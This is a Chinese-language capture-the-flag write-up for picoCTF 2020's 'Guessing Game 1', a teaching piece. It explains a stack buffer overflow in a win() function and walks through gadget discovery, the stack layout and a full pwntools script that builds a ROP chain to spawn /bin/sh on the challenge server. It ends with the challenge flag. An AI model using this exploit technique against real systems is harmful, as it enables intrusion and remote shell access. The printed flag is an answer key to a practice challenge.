picoCTF - 2020 - Guessing Game 1 write-up
前言
新手可能不清楚pwn是什么
”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——百度百科
简单的说,就是想办法入侵远程服务器,通常以进入shell为目的
本题适合了解程序运行原理的ctf新手(至少得知道为什么返回地址在栈里面)(不了解的话能看懂这篇也了解了,可以接着往下看,遇到不懂的马上搜)
学汇编推荐王爽的汇编语言,虽然是16位dos(我就是用这个学的基础)
里面遇到了不懂的名词(例如ROP,Gadgets)都可以直接百度搜,本writeup更多的是给出方向防止走弯路
题目
来源
https://play.picoctf.org/practice/challenge/90?originalEvent=3&page=1
描述
I made a simple game to show off my programming skills. See if you can beat it!
Gussing Game 1.zip
nc jupiter.challenges.picoctf.org 28953
工具
IDA
VM - Kali Linux
Python
ROPgadget
分析
知识点
Binary Exploitation
Return-oriented programming (ROP)
分析一下,这个题目的目的是要在远程服务器上执行 execve("/bin/sh",NULL,NULL)
由于checksec发现nx被启用了,所以打消用shellcode的想法吧
(栈不可执行)
简单分析下,发现可以构造Gadgets链来做ROP
漏洞
分析 vuln.c 后发现存在 栈溢出 漏洞:
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);//overflow vuln
printf("Congrats %s\n\n", winner);
}
我们需要利用漏洞来栈溢出,这样我们就能劫持 eip
的控制权了
Gadgets
利用ROPgadget找到Gadgets来构造链
运行以下命令
ROPgadget --binary vuln --only "pop|ret"
ROPgadget --binary vuln --only "mov|ret"
ROPgadget --binary vuln --only "syscall|ret"
我们的目标是执行execve("/bin/sh",NULL,NULL)
所以发现以下有用的gadgets:
0x00000000004163f4 : pop rax ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000400696 : pop rdi ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x000000000044cc49 : pop rdx ; pop rsi ; ret
0x000000000040137c : syscall
反汇编
do_stuff()
在第一次猜数字中输入 "84" (只要输入正确一次就能进入win()函数了)
Q: 为什么是 "84"
A: 我们可以利用动态调试器 (IDA debugger 或 GDB) :
我是使用IDA的远程调试功能连接了vmware虚拟机进行调试的
在这里设置一个断点:
.text:0000000000400BBC mov [rbp+var_ans], rax
我们会发现 rax
将会等于84
win()
.text:0000000000400C40 public win
.text:0000000000400C40 win proc near ; CODE XREF: main+70↓p
.text:0000000000400C40
.text:0000000000400C40 winner = byte ptr -70h
.text:0000000000400C40
.text:0000000000400C40 ; __unwind {
.text:0000000000400C40 push rbp
.text:0000000000400C41 mov rbp, rsp
.text:0000000000400C44 sub rsp, 70h
.text:0000000000400C48 lea rdi, aNewWinnerName ; "New winner!\nName? "
.text:0000000000400C4F mov eax, 0
.text:0000000000400C54 call printf
.text:0000000000400C59 mov rdx, cs:stdin
.text:0000000000400C60 lea rax, [rbp+winner]
.text:0000000000400C64 mov esi, 168h
.text:0000000000400C69 mov rdi, rax
.text:0000000000400C6C call fgets
.text:0000000000400C71 lea rax, [rbp+winner]
.text:0000000000400C75 mov rsi, rax
.text:0000000000400C78 lea rdi, aCongratsS ; "Congrats %s\n\n"
.text:0000000000400C7F mov eax, 0
.text:0000000000400C84 call printf
.text:0000000000400C89 nop
.text:0000000000400C8A leave
.text:0000000000400C8B retn
.text:0000000000400C8B ; } // starts at 400C40
.text:0000000000400C8B win endp
函数的返回地址被储存在 rbp+8
, 所以通过栈溢出来覆盖(重写)它就可以达到劫持 eip
的目标
ROP: Gadgets
我们计划在劫持eip
(win()返回后)执行以下汇编(组成以下的Gadgets链)
ret (retn of win() at .text:0000000000400C8B)
pop rax
ret
pop rdx
ret
pop rdi
ret
mov qword ptr [rdi], rdx
ret
pop rdx
pop rsi
ret
syscall
为了成功执行 execve("/bin/sh",NULL,NULL)
, rax
得在 syscall
执行时等于 59 , rdi
应该是一个指向字符串 "/bin/sh" 的指针, rsi
和 rdx
应该等于 0 (NULL).
所以我们计划让栈变成这样:
rbp+8 0x00000000004163f4 Address of one of Gadget
rbp+10h 59 rax
rbp+18h 0x000000000044a6b5 Address of one of Gadget
rbp+20h "/bin/sh" rdx (temporary use; will be overwrite later)
rbp+28h 0x0000000000400696 Address of one of Gadget
rbp+30h 0x00000000006BA770 rdi
rbp+38h 0x0000000000436393 Address of one of Gadget
rbp+40h 0x000000000044cc49 Address of one of Gadget
rbp+48h 0 rdx
rbp+50h 0 rsi
rbp+58h 0x000000000040137c syscall
远程执行来找Flag: Python
运行以下的python程序(你需要pwntools库):
from pwn import *
sh = remote('jupiter.challenges.picoctf.org',50583)
p = make_packer('all', endian='big', sign='unsigned')
p64 = make_packer(64, endian='little', sign='unsigned')
payload = p(0x90)*(0x70+8) #rbp-70h
payload += p64(0x4163f4) #rbp+8h
payload += p64(59) #rbp+10h
payload += p64(0x44a6b5) #rbp+18h
payload += p(0x2F62696E2F736800) #rbp+20h
payload += p64(0x400696) #rbp+28h
payload += p64(0x6BA770) #rbp+30h
payload += p64(0x436393) #rbp+38h
payload += p64(0x44cc49) #rbp+40h
payload += p64(0) #rbp+48h
payload += p64(0) #rbp+50h
payload += p64(0x40137c) #rbp+58h
sh.recvuntil('guess?\n')
sh.sendline(p(0x3834))#84
sh.recvuntil('\nName? ')
sh.sendline(payload)
sh.interactive()
所以Flag是 picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}
最后的话
博客:https://frc6.com/index.php/tag/picoctf_2020mini/
Github:https://github.com/frc123/CTF/tree/main/picoCTF/2020%20Mini%20Competition
(英文版可以去博客或github看,非常感谢github给星星)
同系列的write-up
OTP Implementation(逆向):https://www.52pojie.cn/thread-1288992-1-1.html
Gussing Game 1(pwn-ROP):https://www.52pojie.cn/thread-1294291-1-1.html
谢谢阅读!(欢迎交流)